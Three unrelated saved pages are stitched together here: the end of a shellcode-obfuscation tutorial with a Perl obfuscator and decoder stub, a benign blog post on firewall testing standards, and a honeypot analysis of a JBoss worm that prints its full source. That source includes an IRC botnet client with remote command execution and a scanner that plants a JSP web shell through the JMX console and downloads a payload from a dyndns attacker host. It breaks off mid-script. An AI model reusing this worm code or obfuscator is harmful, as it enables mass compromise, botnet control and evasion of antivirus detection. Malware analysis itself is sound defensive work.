     8048087:	ff d1                	call   *%ecx
     8048089:	31 c0                	xor    %eax,%eax
     804808b:	b0 01                	mov    $0x1,%al
     804808d:	31 db                	xor    %ebx,%ebx
     804808f:	cd 80                	int    $0x80
    
    08048091 <ender>:
     8048091:	e8 cc ff ff ff       	call   8048062 <starter>
[/code]

It is time to build the opcodes list \(same as for a usual shellcode\). I
wrote this dirty AWK script, but choose the way you prefer.

[code]

    #!/bin/sh
    # convert-sc.sh
    objdump -d $1 | awk -F '\t' '{printf $2}' | \
    	awk 'BEGIN { cnt=0; print; printf "unsigned char buf[]=\n\""}
    	     {
    		x=0;
    		while(x<NF){
    			if(x % 15 == 0 && x !=0){ printf "\"\n\""}
    			printf "\\x"$(x+1); x++; cnt++
    		}
    		print "\";\n\nLength: "cnt
    	      }'
[/code]

Then, we run it like this:

[code]

    [user@linux]$ ./convert-sc.sh enc2
    
    unsigned char buf[]=
    "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
    "\xd7\x46\x47\xb1\xc8\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
    "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
    "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff";
    
    Length: 54
[/code]

Please welcome our new stub.

## 3.3. Tuning the assembly STUB

Great, we have our deobfucation code \(section 3.2\), ready to be prefixed to
our obfuscated shellcode \(section 3.1\).

But, wait … We still need to update the loop counter \(ECX\) to the length of
the initial shellcode.

### 3.3.1 Updating the counter loop \(ECX\)

We need to update the line 17 with the respective length of the initial
shellcode.

[code]

    Disassembly of section .text:
    
    08048060 <_start>:
     8048060:	eb 2f                	jmp    8048091 <ender>
    
    08048062 <starter>:
     8048062:	31 c0                	xor    %eax,%eax
     8048064:	31 db                	xor    %ebx,%ebx
     8048066:	31 d2                	xor    %edx,%edx
     8048068:	31 c9                	xor    %ecx,%ecx
     804806a:	5a                   	pop    %edx
     804806b:	52                   	push   %edx
     804806c:	89 d6                	mov    %edx,%esi
     804806e:	89 d7                	mov    %edx,%edi
     8048070:	46                   	inc    %esi
     8048071:	47                   	inc    %edi
     8048072:	b1 c8                	mov    $0xc8,%cl
    
    08048074 <myloop>:
     8048074:	31 c0                	xor    %eax,%eax
     8048076:	31 db                	xor    %ebx,%ebx
     8048078:	8a 07                	mov    (%edi),%al
     804807a:	01 f8                	add    %edi,%eax
     804807c:	8a 18                	mov    (%eax),%bl
     804807e:	88 1e                	mov    %bl,(%esi)
     8048080:	89 c7                	mov    %eax,%edi
     8048082:	47                   	inc    %edi
     8048083:	46                   	inc    %esi
     8048084:	e2 ee                	loop   8048074 <myloop>
    
    08048086 <done>:
     8048086:	59                   	pop    %ecx
     8048087:	ff d1                	call   *%ecx
     8048089:	31 c0                	xor    %eax,%eax
     804808b:	b0 01                	mov    $0x1,%al
     804808d:	31 db                	xor    %ebx,%ebx
     804808f:	cd 80                	int    $0x80
    
    08048091 <ender>:
     8048091:	e8 cc ff ff ff       	call   8048062 <starter>
[/code]

Since we’d like to avoid NULL byte into our stub, we can’t use instructions
such as:

[code]

    mov ECX, 178
[/code]

since it will produce null bytes. ex:

[code]

     8048072:    b9 b2 00 00 00           mov    $0xb2,%ecx
[/code]

It makes sense that we need to use a 8 bits move like:

[code]

    mov CL, 178
[/code]

which is produce the opcodes \xb1 and \xb2 as seen below:

[code]

     8048072:    b1 b2                    mov    $0xb2,%cl
[/code]

However, if the shellcode length is greater than 255, we must move it into a
16 bits register like:

[code]

    mov CX, 278
[/code]

which produce the following opcodes:

[code]

     8048072:    66 b9 16 01              mov    $0x116,%cx
[/code]

As you see, we need **four** opcodes to update CX register, instead of **two**
to update CL. Is it a problem ? Kind of. The length of the stub is therefore
modified and the relative addresses used within JMP and CALL instructions have
to be updated too.

### 3.3.2. Updating JMP and CALL addresses

As explained in the previous section, lines 4 and 40 contain relative
addresses which will change based on the length of the stub.

[code]

    Disassembly of section .text:
    
    08048060 <_start>:
     8048060:	eb 2f                	jmp    8048091 <ender>
    
    08048062 <starter>:
     8048062:	31 c0                	xor    %eax,%eax
     8048064:	31 db                	xor    %ebx,%ebx
     8048066:	31 d2                	xor    %edx,%edx
     8048068:	31 c9                	xor    %ecx,%ecx
     804806a:	5a                   	pop    %edx
     804806b:	52                   	push   %edx
     804806c:	89 d6                	mov    %edx,%esi
     804806e:	89 d7                	mov    %edx,%edi
     8048070:	46                   	inc    %esi
     8048071:	47                   	inc    %edi
     8048072:	b1 c8                	mov    $0xc8,%cl
    
    08048074 <myloop>:
     8048074:	31 c0                	xor    %eax,%eax
     8048076:	31 db                	xor    %ebx,%ebx
     8048078:	8a 07                	mov    (%edi),%al
     804807a:	01 f8                	add    %edi,%eax
     804807c:	8a 18                	mov    (%eax),%bl
     804807e:	88 1e                	mov    %bl,(%esi)
     8048080:	89 c7                	mov    %eax,%edi
     8048082:	47                   	inc    %edi
     8048083:	46                   	inc    %esi
     8048084:	e2 ee                	loop   8048074 <myloop>
    
    08048086 <done>:
     8048086:	59                   	pop    %ecx
     8048087:	ff d1                	call   *%ecx
     8048089:	31 c0                	xor    %eax,%eax
     804808b:	b0 01                	mov    $0x1,%al
     804808d:	31 db                	xor    %ebx,%ebx
     804808f:	cd 80                	int    $0x80
    
    08048091 <ender>:
     8048091:	e8 cc ff ff ff       	call   8048062 <starter>
[/code]

If you do the test at home, you will see that:

  * if the loop counter need a **8 bits** register, then:

  * line 4 = \xeb\x2f
  * line 40 \(two first opcodes\) = \xe8\xcc

  * if the loop counter need a **16 bits** register, then:

  * line 4 = \xeb\x31
  * line 40 \(two first opcodes\) = \xe8\xca

### 3.3.3. My god, a NULL byte

A last problem that we could have, is to obfuscate a shellcode where the
length is a multiple of 256. Indeed, in order to store 256 \(or 512, 768,
1024, …\), we need a 16bits register.

See what happen:

[code]

    mov CX, 256
[/code]

[code]

    8048072:    66 b9 00 01              mov    $0x100,%cx
[/code]

=> null byte.

To fix this issue, when the length of the initial shellcode is a multiple of
256, lets add a NOP instruction \(\x90\) to the end of the Shellcode, and that
way, remove the null byte as seen in the following output:

[code]

    mov CX, 257
[/code]

[code]

    8048072:    66 b9 01 01              mov    $0x101,%cx
[/code]

# 4\. Putting everything together

If you are still awake, here is the updated version of the Perl script, which
is managing the loop, jmp and call updates.

Note that the dynamic values of the stub \(MOV ECX, JMP and CALL\) have been
replaced by standards strings, and are updated at runtime by the Perl script.

The changes have been highlighted.

[code]

    #!/usr/bin/perl -w
    # ---------
    # obf2.pl
    # ---------
    
    use strict;
    
    # simple shellcode (print 'hello')
    my $buf =
    "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" .
    "\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" .
    "\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
    
    #========================== CODE =============================
    
    my $mydecoder =
    "MY_JMP_ENDER" . "\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89\xd7\x46\x47" .
    "MY_CNT" . "\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18\x88\x1e\x89\xc7\x47\x46\xe2\xee" .
    "\x59\xff\xd1\x31\xc0\xb0\x01\x31\xdb\xcd\x80" . "MY_JMP_STARTER" . "\xff\xff\xff";
    
    my $buf_length = do{length $buf};
    
    print "// initial Shellcode length: " . $buf_length . "\n\n";
    
    # IF buf_length is a multiple of 256, we will get NULL bytes whitin MY_CNT.
    # so, just add a NOP instruction at the end
    if($buf_length % 256 eq 0 ){
    	print "// length is a multiple of '256'. Add a NOP.";
    	$buf .= "\x90";
    }
    
    # Update decoder values
    my $mov_cl		= "\xb1";	# loop counters <= 8bits
    my $mov_cx		= "\x66\xb9";	# loop counter   > 8bits
    my $jmp_ender_8bits	= "\xeb\x2f";	# jmp ender (<= 8bits)
    my $jmp_ender_16bits	= "\xeb\x31";	# jmp ender (> 8bits)
    my $jmp_starter_8bits	= "\xe8\xcc";	# jmp starter (<= 8bits)
    my $jmp_starter_16bits	= "\xe8\xca";	# jmp starter (> 8bits)
    
    if($buf_length < 256 ){
    	# set ECX counter
    	$mov_cl .= pack('W', int($buf_length));
    	$mydecoder =~ s/MY_CNT/$mov_cl/;
    
    	# replace JMP
    	$mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_8bits/;
    	$mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_8bits/;
    }else{
    
    	# set ECX counter
    	$mov_cx .= pack('S', int($buf_length));
    	$mydecoder =~ s/MY_CNT/$mov_cx/;
    
    	# replace JMP
    	$mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_16bits/;
    	$mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_16bits/;
    }
    
    # convert buf string into an array
    my @buf_array = unpack 'a' x length $buf, $buf;
    
    # random pool
    my @rnd_steps=(1,2,3);
    my @chars=('a'..'z','A'..'Z','0'..'9','_');
    
    # final shellcode
    my $final = "";
    
    # init pseudo rnd generator
    my $rnd=0;
    srand(time);
    
    # start obfuscation
    for(my $i=0; $i< $buf_length ; $i++){
    
    	# copy good shellcode byte into final buffer
    	$final	.= chr(ord($buf_array[$i]));
    
    	# get random from @rnd_step
    	$rnd	= $rnd_steps[rand @rnd_steps];
    
    	# append random number after the SC byte
    	$final	.= pack('c', $rnd);
    
    	# add 'random - 1' junk bytes
    	for(my $p=1; $p < $rnd; $p++){
    		$final .= $chars[rand @chars]; # RND
    	}
    }
    
    # prefix shellcode with the decoder
    $final = $mydecoder . $final ;
    
    # print final shellcode in C language
    print "// STUB + SHELLCODE\n";
    print "unsigned char buf[] = ";
    my $hex = unpack('H*', $final);
    for (my $i = 0; $i < length $hex; $i+=2) {
    	if($i % 15 eq 0){
    		if($i eq 0)	{print "\n\"";}
    		else		{print "\"\n\"";}
    	}
    	print "\\x" . substr $hex, $i, 2;
    }
    print "\";\n\n";
    
    # print shellcode length (optional)
    print "unsigned int buf_len = ". do{length $final} . ";\n";
[/code]

The final shellcode is now:

[code]

    // STUB + SHELLCODE
    unsigned char buf[] =
    "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
    "\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
    "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
    "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03"
    "\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72"
    "\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77"
    "\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34"
    "\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31"
    "\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50"
    "\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c"
    "\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02"
    "\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64";
    
    unsigned int buf_len = 174;
[/code]

# 5\. Testing the new shellcode

We’ve made some tests with various Metasploit payloads \(Meterpreter,
DialogBox, Cmd, ..\) to ensure the reliability of the produced shellcode. But
to preserve your bandwidth, we will limit the demonstration to this simple
“Hello” shellcode, used throughout this article, and generated in the previous
section.

[code]

    /*************/
    /* sc-test.c */
    /*************/
    
    // STUB+ SHELLCODE
    unsigned char buf[] =
    "\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
    "\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
    "\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
    "\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03"
    "\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72"
    "\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77"
    "\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34"
    "\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31"
    "\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50"
    "\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c"
    "\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02"
    "\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64";
    
    int main(int argc, char **argv){
            int (*func)();
            func = (int (*)()) buf;
            (int)(*func)();
    }
[/code]

Compile sc-test.c and run it:

[code]

    [user@linux]$ gcc -o sc-test sc-test.c
    [user@linux]$ ./sc-test
    hello
    [user@linux]$
[/code]

Great\! Let’s print Hello over the world \! <img src='img/Temp2_7526.png'
alt=';-)' />

Hope you enjoy.

# The Evolution of Testing Standards: Part II | BreakingPoint
**Created:**| _7/3/2012 7:51:24 PM_  
---|---  
**Updated:**| _7/3/2012 7:51:24 PM_  
**Author:**| __  
**Tags:**| _software testing_  
  

# The Evolution of Testing Standards: Part II

by Mike Hamilton

As we continue on the discussion of testing standards \(my first post
recounted the history of RFC 2544 and 3511\), consider this single truth:
human nature wants to be seen in the best possible light. Network equipment
vendors are an extension of this truth and are renowned for providing
datasheet numbers that, while technically true, are certainly shaded in favor
of the vendor. We all understand that what we get on the datasheet may not be
what we get in real life; hence we work with the world’s largest enterprises,
governments, and carriers to make sure they are deploying the right equipment.

The irony is that the IETF was able to actually standardize a methodology with
RFC 2544, which was written specifically to reduce “specmanship” of the
network vendors. And then the IETF shepherded along RFC 3511, which does make
substantial improvements to testing firewalls, yet when the final RFC was
published, none of the four authors worked for a network equipment
manufacturer; the manufacturers did not actively partake in evolving testing
standards toward a more difficult and realistic methodology. This has all
brought us to a point where equipment vendors are testing based on standards,
but the standards do not go far enough for current network devices, especially
firewalls and other security devices.

### Realism in Standards: HTTP Is Not an Application

If you’re reading our blog, you know that we talk extensively about actionable
security intelligence: understanding network threats, being able to create
scenarios that allow you to predict problems, and gain the insight to actually
take action to harden your infrastructure. Part of understanding network
threats is understanding the applications that run on those networks.
Performance, or lack thereof, can and will be a network threat. As devices
have become more intelligent at layer 7, the new and different types of
applications have been proved to cause substantial performance degradation of
network devices. Thus, it should be common sense that you should be testing
with a mix of traffic that closely resembles the traffic your devices will be
seeing.

The final published version of RFC 3511 does a fine job of testing at layer 4,
and you may be thinking that RFC 3511 covers the application layer, because it
includes HTTP, still the most widely used protocol on the Internet. You would
be wrong. As I discussed in our next-gen firewall testing webcast, HTTP is
really just the next TCP. Applications are such things as Pandora, Netflix,
Facebook, Gmail, and so many more. Each of these works in a drastically
different manner, yet they all share HTTP as a transfer protocol.

Now, we can’t be too quick to blame 3511 here, because, remember, it was
instituted more than a decade ago. Back then most traffic was simple HTTP 1.1,
maybe FTP and SMTP, and the initial draft version \(draft-ietf-bmwg-
firewall-00\) did actually include a section on blended traffic, including
FTP, SMTP, and HTTP. But I think the original authors of RFC 3511 were
persuaded by the group to focus on only HTTP 1.1.

### Twelve Years Later, We Are Moving Ahead

Fortunately, the IETF has recognized the need to take the same steps forward
from RFC 3511 that it took from RFC 2544. The IETF has taken up this issue and
is actively working on creating next-generation performance methodologies for
next-generation devices. In fact, this is something that I’ve personally been
working on for many months.

What are the primary tenets of this work? All the things that we here at
BreakingPoint stand for: realistic applications and attacks at global-scale
loads to get the most precise idea of how network devices will perform in
production. If your device hasn’t failed in your lab, you aren’t testing it
properly. You don’t have to wait for RFC XYZ to get started. The drafts are
available today to get you started.

If the organization that wrote the specifications for IP, TCP, UDP, SSL/TLS,
and HTTP thinks that evolving testing methodologies is worth the effort,
shouldn’t we all pay attention?

blog comments powered by Disqus

# JBoss Worm October 18, 2011

**Created:**| _10/24/2011 11:34:38 AM_  
---|---  
**Updated:**| _10/25/2011 6:29:16 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Java Enterprise_  
  

[code]

    JBoss Worm October 18, 2011
    
    Quick analysis of the payload the worm left on my deliberately insecure JBoss server (My personal honeypot)
    
    Part of the JBoss exploit code used shellcode (3c%25%40%20%70%61%67%)I assume to avoid easy detection by anti-virus, firewalls, IDS-IPS, etc.
    
    I explored the contents of the malicious payload left and it contained Perl Scripts to automatically connect the compromised host to an IRC Server and be part of a BOTNET, install and run a remote access tool using dyndns (Flu.pl), and two Windows batch scripts, one is for exploring JBOSS Services (wstools.bat) and a script to discover all UDP-based members running on a certain mcast  addressJGroups called "JGroups Cluster Discovery Script for Win32" (probe.bat).  Also included is perl script (Linda.pl) that helps in invoking the JMX console.
    
    Perl and BAT script details below:
    
    1.  Flu.pl (Connects to IRC to join a BOTNET and uses dyndns-remote.com)
    
    #!/usr/bin/perl
    ###############################
    use IO::Socket::INET;
    ###############################
    my $processo = "/usr/local/apache/bin/httpd -DSSL";
    my $pid=fork;
    exit if $pid;
    $0="$processo"." "x16;
    ###############################
    # Server Config
    ###############################
    my @sops =("localhost","magicstick.dyndns-remote.com","bnet.doesntexist.org");
    my $port=2020*4;
    my $chan="#jb";
    my $boxing = `uname -a`;
    $user = `whoami`;
    $boxing =~ s/\r//g;
    $boxing =~ s/\n//g;
    $boxing =~ s/ //g;
    $boxing =~ s/\s//g;
    $user =~ s/\r//g;
    $user =~ s/\n//g;
    $user =~ s/ //g;
    $user =~ s/\s//g;
    #########################
    #	Config		# 
    #########################
    
    while(1) {
    my $nick="srv[".int(rand(99999))."]";
    retry:
    close($sk);
    
    my $server = "";
    while(length($server)<10) {
    $server = $sops[int(rand(9))];
    }
    sleep(3);
    my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry;
    $sk->autoflush(1);
    print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
    print $sk "NICK $nick\r\n";
    print $sk "USER ".$user." 8 *  : ".$user."\r\n";
    
    while($line = <$sk>){
    
    $line =~ s/\r\n$//;
    if ($line=~ /^PING \:(.*)/)
    {
    print $sk "PONG :$1\r\n";
    }
    
    if($line =~ /welcome\sto/i) {
    sleep(2);
    print $sk "JOIN $chan\r\n";
    sleep(1);
    print $sk "PRIVMSG $chan :UserName=$boxing\r\n";
    }
    
    ######################
    #     Commands       # 
    #                    #
    ######################
    
    ### !die
    if ($line=~ /PRIVMSG (.*) :.die/){
    $owner=$line;
    if($owner=~/iseee/gi) {
    sendsk($sk, "QUIT");
    die;
    }
    }
    ### end of !die
    
    ### !rsh
    if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/){
    $owner=$line;
    $de=$2;
    if($owner=~/iseee/gi) {
    @shell=`$de`;
    foreach $line (@shell) { 
    sendsk($sk, "PRIVMSG iseee :$line\r\n");
    sleep(1);
    }
    }
    }
    ### end of !rsh
    
    
    ### !get "[url]" "[times]"
    if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/){
    $owner=$line;
    $url=$2;
    $mult=$3;
    if($owner=~/iseee/gi) {
    $url=~/http:\/\/(.*)\/(.*)/g;
    
    for($xz=0;$xz<=$mult;$xz++) {
    system("curl ".$url.">/dev/null&");
    `curl "$url">/dev/null&`;
    system("wget ".$url.">/dev/null&");
    `wget "$url">/dev/null&`;
    system("wget $url>/dev/null&");
    
    }
    sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n");
    }
    }
    ### End of !get
    
    
    ### !post "[url]" "[data]"
    if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/){
    $owner=$line;
    $url=$2;
    $ddata=$3;
    if($owner=~/iseee/gi) {
    $url=~/http:\/\/(.*)\/(.*)/g;
    $host=$1;
    $path=$2;
    
    
    my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80);
    print $sck 	"POST /$path HTTP/1.0\r\n".
    		"Host: $host\r\n".
    		"Connection: close\r\n".
    		"Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
    sleep(1);
    close($sck);
    
    sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
    }
    }
    ### End of !post
    
    
    ######################
    #  End of Commands   # 
    #                    #
    ######################
    
    }
    
    }
    
    
    sub sendsk() {
    if ($#_ == '1') { my $sk = $_[0]; print $sk "$_[1]\n"; } 
    else { print $sk "$_[0]\n"; }
    }
    
    ==========================
    
    2.  WStools.bat
    @echo off
    
    rem $Id: wstools.bat 499 2006-06-21 22:33:41Z jason.greene@jboss.com $
    
    @if not "%ECHO%" == ""  echo %ECHO%
    @if "%OS%" == "Windows_NT"  setlocal
    
    set DIRNAME=.\
    if "%OS%" == "Windows_NT" set DIRNAME=%~dp0%
    set PROGNAME=run.bat
    if "%OS%" == "Windows_NT" set PROGNAME=%~nx0%
    
    rem Read all command line arguments
    
    REM
    REM The %ARGS% env variable commented out in favor of using %* to include
    REM all args in java command line. See bug #840239. [jpl]
    REM
    REM set ARGS=
    REM :loop
    REM if [%1] == [] goto endloop
    REM         set ARGS=%ARGS% %1
    REM         shift
    REM         goto loop
    REM :endloop
    
    set JAVA=%JAVA_HOME%\bin\java
    set JBOSS_HOME=%DIRNAME%\..
    rem Setup the java endorsed dirs
    set JBOSS_ENDORSED_DIRS=%JBOSS_HOME%\lib\endorsed
    
    rem Setup the wstools classpath
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/jboss-xml-binding.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/activation.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/javassist.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/jbossall-client.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/jbossretro-rt.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/jboss-backport-concurrent.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/jbossws-client.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/jbossws14-client.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/log4j.jar
    set WSTOOLS_CLASSPATH=%WSTOOLS_CLASSPATH%;%JBOSS_HOME%/client/mail.jar
    
    rem Display our environment
    echo ========================================================================="
    echo . 
    echo   WSTools Environment
    echo .
    echo   JBOSS_HOME: %JBOSS_HOME%
    echo .
    echo   JAVA: %JAVA%
    echo .
    echo   JAVA_OPTS: %JAVA_OPTS%
    echo .
    rem echo   CLASSPATH: %WSTOOLS_CLASSPATH%
    rem echo .
    echo ========================================================================="
    echo .
    
    rem Execute the JVM
    "%JAVA%" %JAVA_OPTS% -Djava.endorsed.dirs="%JBOSS_ENDORSED_DIRS%" -Dlog4j.configuration=wstools-log4j.xml -classpath "%WSTOOLS_CLASSPATH%" org.jboss.ws.tools.WSTools %*
    
    =======================
    
    3. Probe.bat
    @echo off
    rem -------------------------------------------------------------------------
    rem JGroups Cluster Discovery Script for Win32
    rem -------------------------------------------------------------------------
    
    REM Discovers all UDP-based members running on a certain mcast address (use -help for help)
    REM Probe [-help] [-addr <addr>] [-port <port>] [-ttl <ttl>] [-timeout <timeout>]
    
    set CLASSPATH=..\lib\commons-logging.jar;..\server\all\lib\jgroups.jar
    
    set CP=%CLASSPATH%
    
    java -cp %CP% org.jgroups.tests.Probe %*
    
    ==============================
    
    4. Linda.pl
    #!/usr/bin/perl
    # Short and unefficiant poc...
    # If you see this, well, good for you.
    # It prolly means this test went out of control, Sorry! :]
    use IO::Socket;
    my $processo = "/usr/local/jboss/bin/tomcat";
    my $pid=fork;
    exit if $pid;
    $0="$processo"." "x16;
    `make lnx`;
    system("make lnx");
    system("perl flu.pl&");
    $zecmd = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n";
    while(1) {
    $partx=int(rand(255));
    $party=int(rand(255));
    $sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6650 $partx.$party.0.0/16 80 > /tmp/sess_0088025413980486928597bff";
    system($sudoku);
    open FILE, "/tmp/sess_0088025413980486928597bff" or die "I cannot live like this!\n";
    my @target = <FILE>;
    close(FILE);
    	foreach $possible (@target) {
    	$possible=~s/\)//;
    	$possible=~s/\(//;
    	$possible=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)80\s/g;
    	$it="$1.$2.$3.$4";
    	$it=~s/\s//g;
    	$it=~s/ //g;
    	$it=~s/\t//g;
    	my $crap = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto np;
    	print $crap $zecmd;
    	$page = "";
    	$page .= $_ while <$crap>;
    	sleep(2);
    		if($page=~/200/||$page=~/500/) { print "[+] http://$it:80/zecmd/zecmd.jsp\n"; push(@target,$it); }
    	np:
    	close($crap);
    	}
    foreach $it (@target) {
    my $sck = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
    print $sck "GET /zecmd/zecmd.jsp HTTP/1.0\r\nConnection: Close\r\n\r\n";
    $page = "";
    $page .= $_ while <$sck>;
    if($page=~/comments/g) { 
    my $scka = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
    print $scka "GET /zecmd/zecmd.jsp?comment=wget+http://magicstick.dyndns-remote.com/kisses.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n";
    sleep(4);
    close($scka);
    my $sckb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
